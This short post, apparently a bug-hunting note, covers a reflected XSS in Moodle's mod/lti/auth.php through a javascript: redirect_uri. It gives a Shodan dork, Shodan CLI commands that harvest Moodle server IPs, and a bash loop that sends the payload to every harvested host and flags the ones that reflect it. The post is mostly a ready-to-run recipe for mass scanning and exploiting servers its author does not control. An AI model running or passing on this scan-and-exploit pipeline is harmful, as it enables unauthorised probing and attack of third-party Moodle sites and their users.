Moodle XSS vulnerability

Moodle XSS vulnerability

Shodan Dork : 'http.component:Moodle'

Vulnerable URL :
https://IP/mod/lti/auth.php?redirect_uri=javascript:alert(document.domain)

By using below URL we can download the results. ( Shodan Premium API Key is needed )

shodan download moodle http.component:Moodle'

I already downloaded the results using shodan cli command

We will seperate the IP from shodan results. For this we will use shodan parse command along with awk

shodan parse moodle.json.gz --fields ip_str,port --separator " " | awk '{print $1}' | tee -a moodle-ip.txt

We will using below process to automate the findings

cat moodle-ip.txt | while read host do ; do curl --silent --path-as-is --insecure "https://$host/mod/lti/auth.php?redirect_uri=javascript:alert(document.domain)" | grep -qs 'alert(document.domain)' && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n"; done

Similary Check the Vulnerable URL on browser